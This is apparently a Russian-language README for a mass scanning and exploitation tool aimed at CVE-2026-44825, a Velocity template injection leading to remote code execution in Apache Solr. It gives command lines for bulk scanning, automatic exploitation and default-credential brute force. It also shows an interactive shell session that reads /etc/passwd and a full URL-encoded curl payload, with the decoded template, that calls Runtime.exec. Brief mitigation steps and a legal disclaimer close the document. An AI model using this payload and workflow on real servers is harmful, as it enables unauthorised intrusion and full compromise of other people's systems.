
☄️ Фреймворк массовой разведки и эксплуатации для Apache Solr CVE-2026-44825 — инъекция шаблонов Velocity до RCE
CVE-2026-44825 — это критическая уязвимость в Apache Solr, которая позволяет злоумышленникам добиться неаутентифицированного удалённого выполнения кода (RCE) через внедрение Velocity-шаблона.
Параметр wt=velocity конечной точки /select Apache Solr принимает пользовательские Velocity-шаблоны. Если Velocity Response Writer включён (или может быть включён через конфигурационный API), атакующий может внедрить вредоносный шаблон, вызывающий java.lang.Runtime.exec(), выполняя произвольные системные команды с правами процесса Solr.
| Вектор | Серьёзность | Влияние |
|---|---|---|
| Неаутентифицированное RCE |
Apache Solr включает Apache Velocity как опциональный движок шаблонов для рендеринга ответов. Уязвимость кроется в VelocityResponseWriter Solr, который обрабатывает пользовательские параметры шаблонов без должной очистки, что позволяет напрямую вызывать Java reflection API:
Цепочка Java Reflection:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
Примечание: Проверки версий выполняются автоматически путём парсинга JSON-ответа
/admin/info/system.
# Клонирование репозитория
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Установка зависимостей
pip install -r requirements.txt
# Проверка
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
Только стандартные библиотеки +
requests. Никаких экзотических зависимостей.
CVE-2026-44825 Apache Solr Scanner
-t, --target URL или IP[:port] одиночной цели
-f, --file Файл со списком целей (по одной на строку, # для комментариев)
--exploit Авто-эксплуатация, если найдены уязвимые учётные данные
--rce Запуск интерактивной оболочки после аутентификации
-u, --user Имя пользователя для Basic Auth
-pw, --password Пароль для Basic Auth
-o, --output Путь к JSON-файлу для вывода (по умолчанию: solr_results.json)
-w, --workers Количество одновременных потоков (по умолчанию: 30)
-T, --timeout Тайм-аут HTTP-запроса (секунды) (по умолчанию: 8)
# Одиночная цель
python solr_scanner.py -t 192.168.1.100:8983
# Одиночная цель с пользовательским путём
python solr_scanner.py -t http://example.com/solr
# Массовое сканирование из файла
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — поддерживает комментарии и пустые строки
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR не поддерживается; предварительно раскройте внешним инструментом)
# Сканирование + авто-эксплуатация, если найдены учётные данные
python solr_scanner.py -f targets.txt --exploit
# Известные учётные данные + интерактивная оболочка
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Авто-брутфорс + оболочка при успехе
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Цели: 3 | Потоки: 30 | Тайм-аут: 8s
Сканирование...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Коллекции (без аутентификации): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] УЯЗВ +Auth http://solr-target.internal/solr
Готово. Всего:3 | Solr:3 | Уязвимо:1
Все 3 цели обнаружены. Экземпляр 9.4.1 помечен как уязвимый с включённой Basic Auth.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] УЯЗВ +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Коллекции: ['cms', 'users', 'search', 'analytics']
Учётные данные по умолчанию
admin:SolrRocksпредоставляют доступ к admin API Solr. Обнаружено четыре коллекции.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
Полный доступ к интерактивной оболочке с правами Java-процесса Solr.
Для исследователей, желающих понять сырой HTTP-обмен:
Шаг 1 — Проверка доступности Solr
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
Шаг 2 — Список доступных коллекций
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
Шаг 3 — Выполнение команды через внедрение Velocity-шаблона
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
Декодированная полезная нагрузка Velocity-шаблона:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
Ответ:
uid=8983(solr) gid=8983(solr) groups=8983(solr)
┌──────────────────────────────────────────────────────┐
│ SOLRRADAR │
├───────────────┬──────────────────────────────────────┤
│ ФАЗА РАЗВЕДКИ│ ФАЗА ЭКСПЛУАТАЦИИ │
│ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │Обнаруж. │──┼──▶ Брутфорс │───▶│ Velocity RCE │ │
│ │ Solr │ │ │ │ │ Внедр. шабл. │ │
│ └────┬────┘ │ └────┬─────┘ └───────┬────────┘ │
│ │ │ │ │ │
│ ▼ │ ▼ ▼ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Проверка│ │ │ Учётные │ │ Runtime.exec() │ │
│ │ версии │ │ │ по умолч.│ │ → RCE │ │
│ └─────────┘ │ └──────────┘ └────────────────┘ │
│ │ │
│ ┌─────────┐ │ ┌────────────────────────────────┐ │
│ │ Зонд │ │ │ Интерактивная оболочка (--rce) │ │
│ │ Auth │ │ └────────────────────────────────┘ │
│ └─────────┘ │ │
└───────────────┴──────────────────────────────────────┘
Целевой URL
│
▼
┌─────────────┐
│ Нормализация │ → добавить http:// + /solr, если отсутствует
└──────┬──────┘
│
▼
┌─────────────┐ Нет
│ GET /admin/ ├──────── Пропустить цель
│ info/system │
└──────┬──────┘
│ Да (200/401)
▼
┌─────────────┐
│ Парсинг JSON│ → извлечь solr-spec-version
│ отпечаток │
└──────┬──────┘
│
▼
┌─────────────┐
│ is_vuln() │ → 9.4–9.10.x или 10.0.0 ?
└──────┬──────┘
│
├── Не уязвим → Отчёт, движение дальше
│
▼ Уязвим
┌─────────────┐
│ Проверка │ → /admin/cores?action=STATUS
│ аутентиф.(3)│ → /admin/collections?action=LIST
└──────┬──────┘
│
├── Нет auth → Попытка неаутентифицированного вывода
│
▼ Auth обнаружена
┌─────────────┐
│ Брутфорс │ → 4 пользователя × 8 паролей = 32 попытки
│ учётных │
└──────┬──────┘
│
├── Нет совпадений → Отчёт об уязвимости (нет учётных данных)
│
▼ Учётные данные найдены
┌─────────────┐
│ Вывод │ → /admin/collections или /admin/cores
│ коллекций │
└──────┬──────┘
│
▼
┌─────────────┐
│ RCE через │ → POST /{collection}/select
│ Velocity │ → Velocity-шаблон → Runtime.exec()
└─────────────┘
bool(Response[401]) == FalseТонкая ловушка Python, обнаруженная при разработке:
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False # ← Ответы 4xx/5xx оцениваются как False!
Это означает, что каждая проверка if response and ... молча пропускает ошибочные ответы — даже если вы специально хотите обработать 401. Исправление — всегда использовать if response is not None and ...:
# ❌ Сломано — ответы 401 молча пропускаются
if r and r.status_code == 401:
auth = True
# ✅ Правильно — явно проверяем на None
if r is not None and r.status_code == 401:
auth = True
Сканер использует трёхуровневую стратегию обнаружения для минимизации ложноотрицательных результатов:
'solr' in response.text.lower()
Обнаруживает Solr в JSON-ключах ("solr_home", "solr-spec-version", "mode":"solrcloud"), HTML-панелях и страницах ошибок — без учёта регистра.
'solr' in response.headers.get('Server', '').lower()
Некоторые развёртывания включают «Solr» в HTTP-заголовок Server.
# Этап 1: Проверка кода ответа /admin/info/system
# Этап 2: Зонд /admin/cores?action=STATUS на 401
# Этап 3: Зонд /admin/collections?action=LIST на 401
Обнаруживает развёртывания, где /admin/info/system общедоступен, но административные операции требуют аутентификации.
Два regex-шаблона для надёжности:
VERSION_RE = [
r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version
r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version
]
Если вы используете Apache Solr, примените эти меры защиты немедленно:
# Обновитесь до исправленной версии
# Solr 9.x → 9.10.2 или новее
# Solr 10.x → 10.0.1 или новее
<!-- В solrconfig.xml — УДАЛИТЬ или ЗАКОММЕНТИРОВАТЬ: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->
# Ограничение доступа к admin-эндпоинтам Solr на уровне сети
# Разрешить только доверенным IP-диапазонам доступ к портам 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP
# Используйте этот сканер против ВАШЕЙ собственной инфраструктуры
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json
🚨 ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВ
Данное программное обеспечение предоставляется исключительно в образовательных целях и для легитимных исследований безопасности. Оно предназначено для использования:
- 🛡️ Специалистами по безопасности при проведении авторизованных тестов на проникновение
- 🏢 Организациями, проводящими аудит собственной инфраструктуры Apache Solr
- 🔬 Исследователями, изучающими техники эксплуатации уязвимостей
- 🎓 Студентами, изучающими безопасность веб-приложений
❌ Вам НЕ РАЗРЕШАЕТСЯ использовать это программное обеспечение для:
- Доступа к компьютерным системам без явного письменного разрешения
- Компрометации, повреждения или нарушения работы систем, которые вам не принадлежат
- Участия в незаконной деятельности любого рода
⚖️ Правовое уведомление
Несанкционированный доступ к компьютерным системам нарушает законы, включая, но не ограничиваясь:
- США: Закон о компьютерном мошенничестве и злоупотреблениях (18 U.S.C. § 1030)
- Индонезия: UU ITE Статьи 30 и 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Европейский союз: Директива 2013/40/EU
- Великобритания: Закон о неправомерном использовании компьютеров 1990 года
Автор(ы) НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ за любое неправомерное использование, ущерб или юридические последствия, возникшие в результате использования этого инструмента. Используя данное программное обеспечение, вы подтверждаете, что несёте единоличную ответственность за свои действия и соглашаетесь соблюдать все применимые законы.
⚡ Создано с точностью для сообщества исследователей безопасности ⚡
Apache® и Apache Solr® являются зарегистрированными товарными знаками Apache Software Foundation.
Этот проект не аффилирован с Apache Software Foundation и не одобрен ею.
| 9.8 (Критический) |
| Полная компрометация системы |
| Аутентифицированное RCE | 8.8 (Высокий) | Выполнение кода после аутентификации |
| Раскрытие информации | 5.3 (Средний) | Перечисление ядер/коллекций |
| Версия Apache Solr | Статус | Примечания |
|---|
| 9.4.0 – 9.10.1 | 🔴 Уязвима | Активная эксплуатация в дикой природе |
| 10.0.0 | 🔴 Уязвима | Затронут начальный релиз 10.x |
| 10.0.1+ | 🟢 Исправлена | Исправление перенесено |
| 9.10.2+ | 🟢 Исправлена | Доступен патч-релиз |
| ≤ 9.3.x | 🟢 Не затронута | Velocity Response Writer отсутствует |
| 8.x (все) | 🟢 Не затронута | Нет поддержки Velocity |
🔍 Разведка
|
💀 Эксплуатация
|
| Ресурс | Ссылка |
|---|
| Запись NVD | CVE-2026-44825 |
| Безопасность Apache Solr | solr.apache.org/security |
| Документация Velocity Solr | Velocity Response Writer |
| OWASP Внедрение шаблонов | Server-Side Template Injection |